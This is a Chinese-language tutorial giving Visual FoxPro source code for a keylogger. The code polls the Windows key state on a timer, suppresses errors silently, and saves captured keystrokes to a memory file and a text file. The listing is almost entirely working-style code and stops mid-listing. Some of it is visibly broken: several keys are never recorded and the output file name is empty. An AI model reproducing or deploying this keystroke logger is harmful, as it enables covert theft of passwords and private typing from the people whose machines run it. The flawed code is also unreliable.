2024年3月21日发(作者:)

1、建立主程序,代码:

set talk off

set safety off

on error do myerror with message()

do form myfrm

read events

restore from mymem addi

strtofile(mykey2,"") &&是你记录获得的键盘信息的文本文件

save all like mykey2 to mymem

quit

2、再新建一个程序,名为myerror,代码:

parameters mess

return

3、新建一表单,命名为myfrm,表单属性whowwindow设为2,height设为70,

width设为115

在Init事件中输入代码:

_e=.f.

set safety off

DECLARE INTEGER GetAsyncKeyState IN user32 INTEGER vKey

publ mykey2,mykey1

mykey1=""

mykey2=""

在QueryUnload事件中输入代码:

CLEAR EVENTS

在表单中建一个计时器控件,属性interval=50,在其Timer事件中输入代码:

save all like mykey2 to mymem addi

For what=112 to 123 &&F1-F12

if GetAsyncKeyState(what)=-32767

mykey1='F'+transform(what-111)

mykey2=mykey2+"+"+mykey1

exit

return

endif

endfor

For what=48 to 57 &&主键盘0-9

if GetAsyncKeyState(what)=-32767

mykey1=CHR(WHAT)

mykey2=mykey2+"+"+mykey1

return

endif

endfor

For what=65 to 90 &&A-Z

if GetAsyncKeyState(what)=-32767

mykey1=CHR(WHAT)

mykey2=mykey2+"+"+mykey1

return

endif

endfor

if GetAsyncKeyState(32)=-32767

mykey1='空格'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(27)=-32767

mykey1='ESC'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(192)=-32767

mykey1='~'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(189)=-32767

mykey1='-'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(187)=-32767

mykey1='='

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(220)=-32767

mykey1=''

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(8)=-32767

mykey1='退格'

return

endif

if GetAsyncKeyState(9)=-32767

mykey1='TAB'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(219)=-32767

mykey1='['

return

endif

if GetAsyncKeyState(221)=-32767

mykey1=']'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(13)=-32767

mykey1='回车'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(20)=-32767

mykey1='CAPS LOCK'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(186)=-32767

mykey1=';'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(222)=-32767

mykey1="'"

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(16)=-32767

mykey1='SHIFT'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(188)=-32767

mykey1=','

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(190)=-32767

mykey1='.'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(191)=-32767

mykey1='/'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(17)=-32767

mykey1='CTRL'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(18)=-32767

mykey1='ALT'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(91)=-32767

mykey1='左WIN'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(92)=-32767

mykey1='右WIN'

return

endif

if GetAsyncKeyState(37)=-32767

mykey1='←'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(38)=-32767

mykey1='↑'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(39)=-32767

mykey1='→'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(40)=-32767

mykey1='↓'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(95)=-32767

mykey1='SLEEP'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(44)=-32767

mykey1='PRINTSCREEN'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(145)=-32767

mykey1='SCROLL LOCK'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(45)=-32767

mykey1='INSERT'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(46)=-32767

mykey1='DELETE'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(36)=-32767

mykey1='HOME'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(35)=-32767

mykey1='END'

mykey2=mykey2+"+"+mykey1

return

endif

if GetAsyncKeyState(33)=-32767

mykey1='PAGE UP'

mykey2=mykey2+"+"+mykey1

return